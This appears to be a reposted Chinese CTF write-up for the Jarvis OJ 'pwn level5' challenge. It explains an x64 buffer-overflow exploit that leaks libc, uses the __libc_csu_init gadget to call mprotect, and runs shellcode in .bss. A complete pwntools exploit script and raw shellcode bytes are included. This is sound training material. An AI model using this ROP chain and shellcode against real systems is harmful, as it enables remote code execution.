Javris OJ - pwn level5(mmap和mprotect练习)(_libc_csu_init中的通用gedget的使用)
pwn level5
這個題和level3-64的附件一樣,level5要求不用system和execve,而是用mprotect和mmap,mmap主要是將文件映射到一段內存去同時設置那段內存的屬性可讀可寫或者是可執行,mprotect函數是將從addr開始的地址 ,長度位len的內存的訪問權限。
可以這樣做:利用shellcode,利用read函數把shellcode寫入bss段,這里要求寫入的bss段是可執行的。但是這道題目中的bss 段是不可執行的。
 這里就用mprotect來修改權限:Linux中mprotect()函數的用法
思路:泄漏write地址-》獲得libc版本-》把shellcode寫入bss段-》獲得mprotect函數地址并修改bss段的權限-》執行bss段里的shellcode。
這里不免要構造ROP鏈,但是找到合適的pop rdi等的指令總是不如意,所以這里用到了通用gedgat。
 在這道題目中像read,write,mprotect 函數都需要三個參數,在64位系統中,在調用函數時,其前六個參數是在rdi,rsi,rdx,rcx,r8,r9中取的,這道題目中只有rdi,rsi的片段,rdx的值不能控制,所以這里就用到了通用的gedget。
0x01 通用gedget
我們可以利用 x64 下的 __libc_csu_init 中的 gadgets。這個函數是用來對 libc 進行初始化操作的,而一般的程序都會調用 libc 函數,所以這個函數一定會存在。我們先來看一下這個函數 (當然,不同版本的這個函數有一定的區別)。(在IDA中的函數列表中可以找到這個函數,看一下匯編代碼)
 
 紅框中的就是我們要利用的gedget。
 調用4006A6可以對rbx,rbp,r12,r13,r14,r15進行賦值,再通過調用400690函數,分別對rdx,rsi,edi,進行賦值,通過控制r12,rbx的值,可以調用想要調用的函數,比如r12=0,rbx=0x10000,則在call處,調用0x10000處的函數。
0x02 泄漏write地址并得出libc版本
和level3一樣,因為rbx的值為0x200,大于8,所以可以不對rbx進行賦值。即write的第三個參數可以不管。write(1,write_got,8)是把write_got地址指向內存的內容的前8個字節寫入到標準輸出流中。
write_plt = 0x00000000004004B0 write_got = 0x0000000000600A58 read_plt = 0x00000000004004C0 vul_addr = 0x00000000004005E6rdi = 0x00000000004006b3 rsi_r15 = 0x00000000004006b1payload = 'a'*0x80+'b'*0x8 #padding payload += p64(rdi)+p64(0x01) #write的第一個參數 payload += p64(rsi_r15)+p64(write_got)+p64(0) #write第二個參數和彈入r15的垃圾數據 payload += p64(write_plt)+p64(vul_addr)#調用write函數以及write函數的返回地址r.recvuntil("Input:\n") r.sendline(payload) write_addr = u64(r.recv(8)) print hex(write_addr)0x03 把shellcode寫入bss段
bss_addr=e.bss() read_plt=e.symbols['read'] payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload2) shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' p.send(shell_code)看的別人的wp,有個疑問:read的第三個參數不需要指定嗎?是默認取rbx中的值嗎?
0x04 得到mprotect的地址,并把mprotect和bss的地址寫入got列表
因為要調用mprotect和bss,要調用程序中沒有的函數,要把其地址寫入got列表,寫入got表所在地址可以在ida中查看,即空的地址。
 程序的got表:
 
 在ida中找空的got表地址
 
 腳本:
0x05 修改bss權限,并執行bss的內容
payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000) payload5 += p64(0x400690) payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) payload5 += p64(0x400690)payload5=‘a’*0x88+p64(0x4006A6)+“ret_addr” + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)
第一步padding+return addr設為0x4006a6,調用該函數,然后是該函數的返回地址,后邊是分別向對應的寄存器中存值,rbx=0, rbp=1, r12=mprot_got, r13=7, r14=0x1000, r15=0x600000, 因為要調用mprotect 函數進行修改權限,在400690函數中要給rdx,rsi,edi,r12,rbx賦值,所以把rbx設為0,r12設為要調用的函數地址。
mprotect的三個參數為(strat_addr,len,prot)mprotect()函數把自start開始的、長度為len的內存區的保護屬性修改為prot指定的值,這里從0x600000開始,包括bss段的地址即可,長度為0x1000為一個page,mprotect是以page為單位的,權限為可執行7。
注意值與寄存器的對應。
這里想要執行bss段里的shllcode,就要重新設置r12的值,即需要再次調用4006a6函數,可以通過設置rbp的值,在400690中,rbp設置為1,即可再次調用4006a6函數。
payload5 += p64(0x400690)+“ret_addr” + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
 payload5 += p64(0x400690)
這里400690是把4006a6中的值賦值給相應寄存器,在次執行4006a6,給相應寄存器賦值,再調用400690執行shellcode,獲取shell。
0x06 腳本
from pwn import* context.log_level = "debug" p=remote('pwn2.jarvisoj.com',9884) e = ELF("./level3_x64") libc = ELF("./libc-2.19.so") ######### leak write_plt = e.plt["write"] write_got = e.got["write"] vul_addr = e.symbols["vulnerable_function"] rdi = 0x00000000004006b3 rsi_r15 = 0x00000000004006b1payload1 = 'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+'a'*8+p64(write_plt)+p64(vul_addr) p.recvline() p.send(payload1) tmp=p.recv(8) write_addr=u64(tmp[0:8]) print hex(write_addr)offset=write_addr-libc.symbols['write'] ########### read shell code to bss bss_addr=e.bss() read_plt=e.symbols['read'] payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload2) shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' p.send(shell_code)###########write bss to got table bss_got= 0x0000000000600A48 payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload3) p.send(p64(bss_addr))###########write mpro to got table mprot_got= 0x0000000000600A50 mprot_addr=libc.symbols['mprotect']+offset payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload4) p.send(p64(mprot_addr))########### jmp to __libc_csu_init to call shellcode payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000) payload5 += p64(0x400690) payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) payload5 += p64(0x400690) p.recvline() p.send(payload5) sleep(5) p.interactive()0x07 參考
- https://blog.csdn.net/qq_38204481/article/details/80984318
 - https://blog.csdn.net/weixin_41617275/article/details/84955439
 
總結
以上是生活随笔為你收集整理的Javris OJ - pwn level5(mmap和mprotect练习)(_libc_csu_init中的通用gedget的使用)的全部內容,希望文章能夠幫你解決所遇到的問題。
                            
                        - 上一篇: julia语言 python解释器_Ju
 - 下一篇: 在Ubuntu18.04.3系统中安装谷